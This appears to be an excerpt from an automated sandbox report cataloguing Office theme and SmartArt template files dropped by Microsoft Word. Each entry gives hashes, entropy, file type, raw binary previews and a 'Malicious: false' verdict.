Preview:	PK.........{MB.f}......p......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.v...(=.v........F_..U..G...T.e.y)[..b.......3.m....6.X5.P........_...b../..}.-......~.-..z..d.......j.^.+c..E.V..~3}..U.7..~p.>.E..9^d....4%}.E.$....N..r....<....%...%.?....w.u...h........D...w.....h........Dkw...x..T....T....T....T....T....T....j...."[.J.....;..!4...M...............t.n-.{..skp...[;.......F...j.7...4fC...K1..K/..K-..K+..K)..K'..f9......Fl._.........d0...?7K7].........A.......Fl.............Ft....u.......Ft........\.......w....R.......R.......R........o...].`.....A....#.`..\.....S.._...4...o.........W<x#..............w#...r.nD..]....\.~....\|......b...^...Z...V...R...N..W<x......l._...l..?.A......xp_Q..y<h..tL.i.?HNn...]..........r.nD..]~.........wy~7......Ft...........E/\|c.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM04033921[[fn=Damask]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	2218943
Entropy (8bit):	7.942378408801199
Encrypted:	false
SSDEEP:	49152:8mwK3gH/l4hM06Wqnnl1IdO9wASFntrPEWNe7:863gHt4hM9WWnMdO9w35PEWK
MD5:	EE33FDA08FBF10EF6450B875717F8887
SHA1:	7DFA77B8F4559115A6BF186EDE51727731D7107D
SHA-256:	5CF611069F281584DE3E63DE8B99253AA665867299DC0192E8274A32A82CAA20
SHA-512:	AED6E11003AAAACC3FB28AE838EDA521CB5411155063DFC391ACE2B9CBDFBD5476FAB2B5CC528485943EBBF537B95F026B7B5AB619893716F0A91AEFF076D885
Malicious:	false
Preview:	PK.........{MBS'..t...ip......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c...W..G.4D_.}T,.@...}....R.Z..4k.....Y..mEkLor.f^..O..P...`.../.\|u1..Y.....nK.......u=..2.tu~^L.Y5]/...~+.v...o....j.`?.S...../.by.\|..>."kZbs....H.9..m.z.]W.V.?~v........;...N.......w....;.z..N.......w.....R.._..w._..w._..w._..w._..w._..w.n..Ofu.-..K.e........T..q.F...R[...~.u.....Z..F....7.?.v....5O....zot..i.....b...^...Z...V...R...N...r./.?........=....#.`..\~n.n...)J./.......7........+......Q..]n............w......Ft........\|......b...^...Z...V...R...N..W<x......l._...l..?.A......x....x.9.\|.8..............u................w#.....nD..]...........R.......R.......R........o...].`.....A....#.`..\.....+J./.......7........+......Q..]n.........w9~7......Ft........\|......b...^.c..-...-...-

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM04033925[[fn=Droplet]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	1750795
Entropy (8bit):	7.892395931401988
Encrypted:	false
SSDEEP:	24576:DyeAqDJpUDH3xk8ZKIBuX3TPtd36v4o5d4PISMETGBP6eUP+xSeW3v0HKPsc:uRqUjSTPtd36AFDM/BP6eUeW3v0Fc
MD5:	529795E0B55926752462CBF32C14E738
SHA1:	E72DFF8354DF2CB6A5698F14BBD1805D72FEEAFF
SHA-256:	8D341D1C24176DC6B67104C2AF90FABD3BFF666CCC0E269381703D7659A6FA05
SHA-512:	A51F440F1E19C084D905B721D0257F7EEE082B6377465CB94E677C29D4E844FD8021D0B6BA26C0907B72B84157C60A3EFEDFD96C16726F6ABEA8D896D78B08CE
Malicious:	false
Preview:	PK.........{MB.f}......p......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.v...(=.v........F_..U..G...T.e.y)[..b.......3.m....6.X5.P........_...b../..}.-......~.-..z..d.......j.^.+c..E.V..~3}..U.7..~p.>.E..9^d....4%}.E.$....N..r....<....%...%.?....w.u...h........D...w.....h........Dkw...x..T....T....T....T....T....T....j...."[.J.....;..!4...M...............t.n-.{..skp...[;.......F...j.7...4fC...K1..K/..K-..K+..K)..K'..f9......Fl._.........d0...?7K7].........A.......Fl.............Ft....u.......Ft........\.......w....R.......R.......R........o...].`.....A....#.`..\.....S.._...4...o.........W<x#..............w#...r.nD..]....\.~....\|......b...^...Z...V...R...N..W<x......l._...l..?.A......xp_Q..y<h..tL.i.?HNn...]..........r.nD..]~.........wy~7......Ft...........E/\|c.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM04033927[[fn=Main Event]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	2924237
Entropy (8bit):	7.970803022812704
Encrypted:	false
SSDEEP:	49152:mc4NEo4XNd5wU5qTkdC4+K9u5b/i40RKRAO/cLf68wy9yxKrOUURBgmai2prH:mJef5yTSoKMF//DRGJwLx9DBaH
MD5:	5AF1581E9E055B6E323129E4B07B1A45
SHA1:	B849F85BCAF0E1C58FA841FFAE3476D20D33F2DD
SHA-256:	BDC9FBF81FBE91F5BF286B2CEA00EE76E70752F7E51FE801146B79F9ADCB8E98
SHA-512:	11BFEF500DAEC099503E8CDB3B4DE4EDE205201C0985DB4CA5EBBA03471502D79D6616D9E8F471809F6F388D7CBB8B0D0799262CBE89FEB13998033E601CEE09
Malicious:	false
Preview:	PK.........{MB.$<.~....p......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c...W..G.4D_.}T,.@...}....R.Z..4k.....Y..mEkLor.f^..O..P...`..^.......H^..<}...lA-.D.....lI/...hD.Z....\|VM..ze........L..tU...g....lQ....Y...>MI...5-....S......h=..u.h..?;h...@k...h...'Z...D...;.....h=..'Z...D...;.....)^./.../U.../..../U.../..../U..?...'.........Ngz..A.~.8.#D....xot.u.?...eyot.n..{..sk....[......Z..F....l...o)..o..o...oi..o)..o..,..b.s......2.C.z.~8.......f......x.9.\|.8..............u................r.nD..]...........w.~7...-...-...-...-...-...-....x.&l........>.4.z.~8..........=E....As.1..q. 9....w.7...1........w.}7......Ft...................o)..o..o...oi..o)..o..w.7a...x0...........d0..............A.......Fl.............Ft................w#...r.nD..]..M...K1.0..7....

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM04033929[[fn=Slate]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	2357051
Entropy (8bit):	7.929430745829162
Encrypted:	false
SSDEEP:	49152:tfVcGO3JiR6SgT7/bOCrKCsaFCX3CzwovQTSwW8nX:pVcG2iRedsaoXSzeOwWEX
MD5:	5BDE450A4BD9EFC71C370C731E6CDF43
SHA1:	5B223FB902D06F9FCC70C37217277D1E95C8F39D
SHA-256:	93BFC6AC1DC1CFF497DF92B30B42056C9D422B2321C21D65728B98E420D4ED50
SHA-512:	2365A9F76DA07D705A6053645FD2334D707967878F930061D451E571D9228C74A8016367525C37D09CB2AD82261B4B9E7CAEFBA0B96CE2374AC1FAC6B7AB5123
Malicious:	false
Preview:	PK.........{MB.f}......p......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.v...(=.v........F_..U..G...T.e.y)[..b.......3.m....6.X5.P........_...b../..}.-......~.-..z..d.......j.^.+c..E.V..~3}..U.7..~p.>.E..9^d....4%}.E.$....N..r....<....%...%.?....w.u...h........D...w.....h........Dkw...x..T....T....T....T....T....T....j...."[.J.....;..!4...M...............t.n-.{..skp...[;.......F...j.7...4fC...K1..K/..K-..K+..K)..K'..f9......Fl._.........d0...?7K7].........A.......Fl.............Ft....u.......Ft........\.......w....R.......R.......R........o...].`.....A....#.`..\.....S.._...4...o.........W<x#..............w#...r.nD..]....\.~....\|......b...^...Z...V...R...N..W<x......l._...l..?.A......xp_Q..y<h..tL.i.?HNn...]..........r.nD..]~.........wy~7......Ft...........E/\|c.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM04033937[[fn=Vapor Trail]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	3611324
Entropy (8bit):	7.965784120725206
Encrypted:	false
SSDEEP:	49152:ixc1kZBIabo4dTJyr3hJ50gd9OaFxTy+1Nn/M/noivF0po3M0h0Vsm:ixcaAabT83hJLdoaFxTygxcoiX3M0iCm
MD5:	FB88BFB743EEA98506536FC44B053BD0
SHA1:	B27A67A5EEC1B5F9E7A9C3B76223EDE4FCAF5537
SHA-256:	05057213BA7E5437AC3B8E9071A5577A8F04B1A67EFE25A08D3884249A22FBBF
SHA-512:	4270A19F4D73297EEC910B81FF17441F3FC7A6A2A84EBA2EA3F7388DD3AA0BA31E9E455CFF93D0A34F4EC7CA74672D407A1C4DC838A130E678CA92A2E085851C
Malicious:	false
Preview:	PK.........{MB.f}......p......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.v...(=.v........F_..U..G...T.e.y)[..b.......3.m....6.X5.P........_...b../..}.-......~.-..z..d.......j.^.+c..E.V..~3}..U.7..~p.>.E..9^d....4%}.E.$....N..r....<....%...%.?....w.u...h........D...w.....h........Dkw...x..T....T....T....T....T....T....j...."[.J.....;..!4...M...............t.n-.{..skp...[;.......F...j.7...4fC...K1..K/..K-..K+..K)..K'..f9......Fl._.........d0...?7K7].........A.......Fl.............Ft....u.......Ft........\.......w....R.......R.......R........o...].`.....A....#.`..\.....S.._...4...o.........W<x#..............w#...r.nD..]....\.~....\|......b...^...Z...V...R...N..W<x......l._...l..?.A......xp_Q..y<h..tL.i.?HNn...]..........r.nD..]~.........wy~7......Ft...........E/\|c.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM10001114[[fn=Gallery]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	1091485
Entropy (8bit):	7.906659368807194
Encrypted:	false
SSDEEP:	24576:oBpmCkw3Tg/euEB+UdoC4k7ytHkHA6B/puqW2MIkTeSBmKrZHQ:MR3c/AseydwppC7veSBmWHQ
MD5:	2192871A20313BEC581B277E405C6322
SHA1:	1F9A6A5E10E1C3FFEB6B6725C5D2FA9ECDF51085
SHA-256:	A06B302954A4C9A6A104A8691864A9577B0BFEA240B0915D9BEA006E98CDFFEC
SHA-512:	6D8844D2807BB90AEA6FE0DDDB9C67542F587EC9B7FC762746164B2D4A1A99EF8368A70C97BAD7A986AAA80847F64408F50F4707BB039FCCC509133C231D53B9
Malicious:	false
Preview:	PK...........G`.jaV....P......[Content_Types].xml...n.@...W......T@.mwM.E....)....y...H}.N..ll8.h5g6Q.=3_......?...x..e^Di.p.^.ud...(Y/..{w..r..9.../M...Q*{..E...(.4..>..y,.>..~&..b-.a.?..4Q2Q=.2.......m....>-....;]......N'..A...g.D.m.@(}..'.3Z....#....(+....-q<uq.+....?....1.....Y?Oy......O"..J?....Q$zT.].7.N..Q Wi.....<.........-..rY....hy.x[9.b.%-<.V?.(......;r.+...Q<.;U.....4...!'k...s.&..)'k...d.s..}R....o".D.I..7..7.KL.7..Z.....v..b.5.2].f....l.t....Z...Uk...j.&.U-....&>.ia1..9lhG..Q.P.'P.U}.k..rU..rU..rU..rU..rU..rU..rU..rU_EK_}.zi.....G.........j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..h.oT/-c..`....7FaBu.@-W.A.]..U}H.U}H.U}H.U}H.U}H.U}H.U}H.U}.-}...e...,..7...&(L.....>.kw...i...i...i...i...i...i...i.......I...U_.....vT.....}..\...v..W.!-W.!-W.!-W.!-W.!-W.!-W.!-W.U...7.....k.pT...0..O.... ...>..>..>..>..>..>..>......f..2V}....W>jO....5..].?.o..oPK...........G.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM10001115[[fn=Parcel]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	608122
Entropy (8bit):	7.729143855239127
Encrypted:	false
SSDEEP:	6144:Ckl6KRKwg9jf2q/bN69OuGFlC/DUhq68xOcJzGYnTxlLqU8dmTW:8yKwgZ2qY9kA7Uhq68H3ybmq
MD5:	8BA551EEC497947FC39D1D48EC868B54
SHA1:	02FA15FDAF0D7E2F5D44CAE5FFAE49E8F91328DF
SHA-256:	DB2E99B969546E431548EBD58707FC001BBD1A4BDECAD387D194CC9C6D15AC89
SHA-512:	CC97F9B2C83FF7CAC32AB9A9D46E0ACDE13EECABECD653C88F74E4FC19806BB9498D2F49C4B5581E58E7B0CB95584787EA455E69D99899381B592BEA177D4D4B
Malicious:	false
Preview:	PK.........LGE,.{E...#P......[Content_Types].xml..Mo.0.....Z..N7.=l......V0.-o..j?...H..sa......./UCb.'...r...w.i..e..<[....{2..U.m..N.{...r.....3.fj.o......2.*....;.L.6..&,D.Cld8...a.gZf.......r-v..><....~/......\|Zk.......a.R&.d.(.$..6..}.:.....3......1..[.p.....?..+....R...y,.fod.....e...-.\|..#..]j....n:...f...-J...i.^.:Y....T..........m^..~GNp../e}...N....a..5.d.8YcN..5.d.8Y...7..A..e...7Q."3...../.sL._...v...n..b..2].v....n.t....Z...Uk...j.&.Z....im\|.r....B.....7DaBuN.... ...>..>..>..>..>..>..>.........V}-.....Q}#.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7FaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}..&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7EaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}3.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b.\}..)...A.......[..PK.........LG.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70...........84P....

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328884[[fn=architecture]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	5783
Entropy (8bit):	7.88616857639663
Encrypted:	false
SSDEEP:	96:CDG4D+8VsXzXc2zLXTJ2XFY47pk2G7HVlwFzTXNbMfmn2ivLZcreFWw5fc9ADdZm:CDG4DRGY23l2Xu47GL7YtT9V29yWvWdk
MD5:	8109B3C170E6C2C114164B8947F88AA1
SHA1:	FC63956575842219443F4B4C07A8127FBD804C84
SHA-256:	F320B4BB4E57825AA4A40E5A61C1C0189D808B3EACE072B35C77F38745A4C416
SHA-512:	F8A8D7A6469CD3E7C31F3335DDCC349AD7A686730E1866F130EE36AA9994C52A01545CE73D60B642FFE0EE49972435D183D8CD041F2BB006A6CAF31BAF4924AC
Malicious:	false
Preview:	PK.........A;.h......F.......[Content_Types].xmlz.........MN.0...by.b.,.BI...X `...{..O.S...H\.'.XTP..K{.o.....rg..bL...XM.:.v..c.k...}.D....9.....Bb>.+..G.......+(.u}.w.]...v..{.M&.].>`....nB..B0Z@.e.u..R.......-.&#....aR..`.a..\|. 1^......&..\|..s.A.t..b..A.i7...7.&....bQK$O.......9....V....Wt_PK........pnB;.M.:....g......._rels/.rels...J.0.._%.n....xp..,{.i2M.........G..........7...3o/.......d.kyU....^..[>Q....j.#P.H......Z>..+!...B*\|@...G...E....E]..".3.......!..7....,:..,.......Ot..0r....Z..&1..U..p.U-.[Uq&.......................Gyy.}n.(.C(i.x........?.vM..}..%.7.b.>L..]..PK........EV:5K..4....H......diagrams/layout1.xml.Yo.6........S.`......$M...Q8A...R..T.k...K.4CQG..}.A..9.?R....!&...Q..ZW.......Q....<8..z..g....4{d.>..;.{.>.X.....Y.2.......cR....9e.. ...}L.....yv&.&...r..h...._..M. e...[..}.>.k..........3.`.ygN...7.w..3..W.S.....w9....r(....Zb..1....z...&WM.D<......D9...ge......6+.Y....$f......wJ$O..N..FC..Er........?..is...-Z

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328893[[fn=BracketList]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	4026
Entropy (8bit):	7.809492693601857
Encrypted:	false
SSDEEP:	96:VpDCBFLhxaUGm5EWA07yNdKH1FQpy8tnX8Iz3b7TrT502+fPD:VpDYFFRMNU+RtXzLf35t+3D
MD5:	5D9BAD7ADB88CEE98C5203883261ACA1
SHA1:	FBF1647FCF19BCEA6C3CF4365C797338CA282CD2
SHA-256:	8CE600404BB3DB92A51B471D4AB8B166B566C6977C9BB63370718736376E0E2F
SHA-512:	7132923869A3DA2F2A75393959382599D7C4C05CA86B4B27271AB9EA95C7F2E80A16B45057F4FB729C9593F506208DC70AF2A635B90E4D8854AC06C787F6513D
Malicious:	false
Preview:	PK........YnB;.h......F.......[Content_Types].xmlz.........MN.0...by.b.,.BI...X `...{..O.S...H\.'.XTP..K{.o.....rg..bL...XM.:.v..c.k...}.D....9.....Bb>.+..G.......+(.u}.w.]...v..{.M&.].>`....nB..B0Z@.e.u..R.......-.&#....aR..`.a..\|. 1^......&..\|..s.A.t..b..A.i7...7.&....bQK$O.......9....V....Wt_PK........bnB;?.......f......._rels/.rels...J.1.._%..f....m/.,x...&.lt.dV.y.\|.."v....q..\|......r..F..)..;.T5g.eP..O..Z.^-.8...<.Y....Q.."....D.%.!9.R&#".'0(.u}).!..l....b..J..rr....P.L.w..0.-......A..w..x.7U...Fu<mT.....^s...F./ ..( .4L..`.....}...O..4.L...+H.z...m..j[].=........oY}.PK........J.L6...m....,.......diagrams/layout1.xml.X.n.8.}N.....PG.............wZ.,.R.%.K...J.H]....y.3..9...O..5."J.1.\.1....Q....z......e.5].)...$b.C)...Gx!...J3..N..H...s....9.~...#..$...W.8..I`\|..0xH}......L.\|..(V;..1...kF..O=...j...G.X.....T.,d>.w.Xs.......3L.r..er\o..D..^....O.F.{:.>.R'....Y-...B.P.;....X.'c...{x.M7..><l.1.w..{].46.>.z.E.J.......G......Hd..$..7....E.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328905[[fn=Chevron Accent]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	4243
Entropy (8bit):	7.824383764848892
Encrypted:	false
SSDEEP:	96:22MQe4zHye8/djzF+JjvtmMkkBpF7e0LTkaf:22De4zHHCvF+nRBDXoaf
MD5:	7BC0A35807CD69C37A949BBD51880FF5
SHA1:	B5870846F44CAD890C6EFF2F272A037DA016F0D8
SHA-256:	BD3A013F50EBF162AAC4CED11928101554C511BD40C2488CF9F5842A375B50CA
SHA-512:	B5B785D693216E38B5AB3F401F414CADACCDCB0DCA4318D88FE1763CD3BAB8B7670F010765296613E8D3363E47092B89357B4F1E3242F156750BE86F5F7E9B8D
Malicious:	false
Preview:	PK........NnB;.h......F.......[Content_Types].xmlz.........MN.0...by.b.,.BI...X `...{..O.S...H\.'.XTP..K{.o.....rg..bL...XM.:.v..c.k...}.D....9.....Bb>.+..G.......+(.u}.w.]...v..{.M&.].>`....nB..B0Z@.e.u..R.......-.&#....aR..`.a..\|. 1^......&..\|..s.A.t..b..A.i7...7.&....bQK$O.......9....V....Wt_PK........TnB;..d.....h......._rels/.rels...J.0.._%.n..)"....<.w.&.4..!...y.\|.........\|.&3.o.....S..K.T5g.U....g..n.f....T.hcf...D.V..Ft....d....c2".z.....N.s._2....7.0.V.]P.CO?...`...8....4&......_i..Y.T...Z...g....{-...]..pH..@.8....}tP.)..B>..A...S&......9..@...7........b_.PK........r};5.z..............diagrams/layout1.xml.X.n.8.}.........4.+.(...@......(..J..._.!)..b..v.}.H..zf8...dhM....E..I.H..V.Y.R..2zw5L~....^..]...J_..4.\.\......8..z..2T..".X.l.F#......5....,....c....r.kR.I.E..,.2...&%..''.qF.R.2.....T;F...W.. ...3...AR.OR.O..J}.w6..<...,.x..x....`g?.t.I.{.I...\|X..g.....<BR..^...Q.6..m.kp...ZuX.?.z.YO.g...$.......'.]..I.#...]$/~`${.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328908[[fn=Circle Process]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	16806
Entropy (8bit):	7.9519793977093505
Encrypted:	false
SSDEEP:	384:eSMjhqgJDGwOzHR3iCpK+QdLdfufFJ9aDn9LjDMVAwHknbz7OW:eSkhqglGwERSAHQdLhDn9AKokv7H
MD5:	950F3AB11CB67CC651082FEBE523AF63
SHA1:	418DE03AD2EF93D0BD29C3D7045E94D3771DACB4
SHA-256:	9C5E4D8966A0B30A22D92DB1DA2F0DBF06AC2EA75E7BB8501777095EA0196974
SHA-512:	D74BF52A58B0C0327DB9DDCAD739794020F00B3FA2DE2B44DAAEC9C1459ECAF3639A5D761BBBC6BDF735848C4FD7E124D13B23964B0055BB5AA4F6AFE76DFE00
Malicious:	false
Preview:	PK.........T.>................[Content_Types].xmlz.........=N.1...b.Eko(.B....(.Pp..=.u.?.....#q..ND.!$.J{.o....G..[Cv.....+.R.Nx..........0."u..S...$&.....Je..B..x......m......M^z....f....\|...N..Q..z.!.- .2.9y.i.8j...........0.AE..p.s~@../jw.#8.I.#....4.~Cl.:#h..f.PU.s.~........(.)F..Y......^x..PK.........T.>...V....L......._rels/.rels...J.@.._e..]AD.....x....3.t..T.w.\ZpA<x......v..'....z.........Y..[...<..2.TT....Q$.!.=.....&C....b".F.q.7...X3...7.8.N.}.. ?..8...#..,.L.3.#e...wZpZ.]S..:....t.....{..6.7.\|..,dH.e..K 7-}.~.v...5.......b..PK........Ul.<..<"I5...&......diagrams/layout1.xml.}.r.I..s........~Y.f.gzfv......E."w.K..J5m.e...4.0..Q... A.!...%...<...3.......O.......t~.u{...5.G......?,.........N......L......~.:....^,..r=./~7_..8............o.y......oo.3.f........f.......r.7../....qrr.v9.......,?..._O.....?9.O~]..zv.I'.W..........;..\..~....../........?~..n.....\}pt.........b,~...;>.=;>:..u.....?.......2]..]....i......9..<.p..4D..

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328916[[fn=Converging Text]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	11380
Entropy (8bit):	7.891971054886943
Encrypted:	false
SSDEEP:	192:VJcnLYnAVbOFLaCPLrGGbhaWEu6d3RmryqLkeAShObPb1AYcRMMXjkfa0nYBwggD:VcMC8lLrRbhy1ZqLyShYb1FHQ4C0nYQJ
MD5:	C9F9364C659E2F0C626AC0D0BB519062
SHA1:	C4036C576074819309D03BB74C188BF902D1AE00
SHA-256:	6FC428CA0DCFC27D351736EF16C94D1AB08DDA50CB047A054F37EC028DD08AA2
SHA-512:	173A5E68E55163B081C5A8DA24AE46428E3FB326EBE17AE9588C7F7D7E5E5810BFCF08C23C3913D6BEC7369E06725F50387612F697AC6A444875C01A2C94D0FF
Malicious:	false
Preview:	PK.........T.>................[Content_Types].xmlz.........=N.1...b.Eko(.B....(.Pp..=.u.?.....#q..ND.!$.J{.o....G..[Cv.....+.R.Nx..........0."u..S...$&.....Je..B..x......m......M^z....f....\|...N..Q..z.!.- .2.9y.i.8j...........0.AE..p.s~@../jw.#8.I.#....4.~Cl.:#h..f.PU.s.~........(.)F..Y......^x..PK.........T.>...V....L......._rels/.rels...J.@.._e..]AD.....x....3.t..T.w.\ZpA<x......v..'....z.........Y..[...<..2.TT....Q$.!.=.....&C....b".F.q.7...X3...7.8.N.}.. ?..8...#..,.L.3.#e...wZpZ.]S..:....t.....{..6.7.\|..,dH.e..K 7-}.~.v...5.......b..PK........q.~<.6..9 ...e......diagrams/layout1.xml..r.........{.]..u...xv7b.....HPd....t.q...b.i_a.'..P.f.3..F..1...U.u.*.2......?}..O..V.....yQ.Mf........w.....O....N.........t3;...e....j.^.o&.....w...../.w................e.................O..,./..6...8>^.^..........ru5...\.=>[M?......g..........w.N....i.........iy6.?........>.......>{yT...........x.........-...z5.L./.g......_.l.1.....#...\|...pr.q

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328919[[fn=Hexagon Radial]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	6024
Entropy (8bit):	7.886254023824049
Encrypted:	false
SSDEEP:	96:bGa2onnLYHTSSxpHVTSH1bywZKmpRqiUtFvS9xrPooBpni6eDa16MUELHsrKjRBA:SJonLYzSSr1TuZNwtFZKpiiyrKXuCUd
MD5:	20621E61A4C5B0FFEEC98FFB2B3BCD31
SHA1:	4970C22A410DCB26D1BD83B60846EF6BEE1EF7C4
SHA-256:	223EA2602C3E95840232CACC30F63AA5B050FA360543C904F04575253034E6D7
SHA-512:	BDF3A8E3D6EE87D8ADE0767918603B8D238CAE8A2DD0C0F0BF007E89E057C7D1604EB3CCAF0E1BA54419C045FC6380ECBDD070F1BB235C44865F1863A8FA7EEA
Malicious:	false
Preview:	PK.........T.>................[Content_Types].xmlz.........=N.1...b.Eko(.B....(.Pp..=.u.?.....#q..ND.!$.J{.o....G..[Cv.....+.R.Nx..........0."u..S...$&.....Je..B..x......m......M^z....f....\|...N..Q..z.!.- .2.9y.i.8j...........0.AE..p.s~@../jw.#8.I.#....4.~Cl.:#h..f.PU.s.~........(.)F..Y......^x..PK.........T.>...V....L......._rels/.rels...J.@.._e..]AD.....x....3.t..T.w.\ZpA<x......v..'....z.........Y..[...<..2.TT....Q$.!.=.....&C....b".F.q.7...X3...7.8.N.}.. ?..8...#..,.L.3.#e...wZpZ.]S..:....t.....{..6.7.\|..,dH.e..K 7-}.~.v...5.......b..PK........2..<..]#.....'......diagrams/layout1.xml.].r.8...V.;0.;..aO........{.....V..3].d{..............\. .#.t... ........x<...@7o.]..7.N..@.NF..../....S.../.xC..U...<..Q.=...\|..v.....cQ..Y=.....i`.. ..?.;...Go....x.O.$....7s..0..qg....\|..r..l.w.a..p.3.Em7v...N............3..7...N.\\..f...9...U$..7...k.C..M.@\.s....G/..?...I...t.Yos...p..z...6.lnqi.6..<..1qg+......#]....\|C/N..K\}.....#..".

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328925[[fn=Interconnected Block Process]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	9191
Entropy (8bit):	7.93263830735235
Encrypted:	false
SSDEEP:	192:oeAMExvPJMg+yE+AfJLi3+Xoj7F3sPgMG61J88eDhFWT7hFNsdJtnLYJ7tSh:v2d+hnfJLi3+4ja4WqhFWT7FsdHMA
MD5:	08D3A25DD65E5E0D36ADC602AE68C77D
SHA1:	F23B6DDB3DA0015B1D8877796F7001CABA25EA64
SHA-256:	58B45B9DBA959F40294DA2A54270F145644E810290F71260B90F0A3A9FCDEBC1
SHA-512:	77D24C272D67946A3413D0BEA700A7519B4981D3B4D8486A655305546CE6133456321EE94FD71008CBFD678433EA1C834CFC147179B31899A77D755008FCE489
Malicious:	false
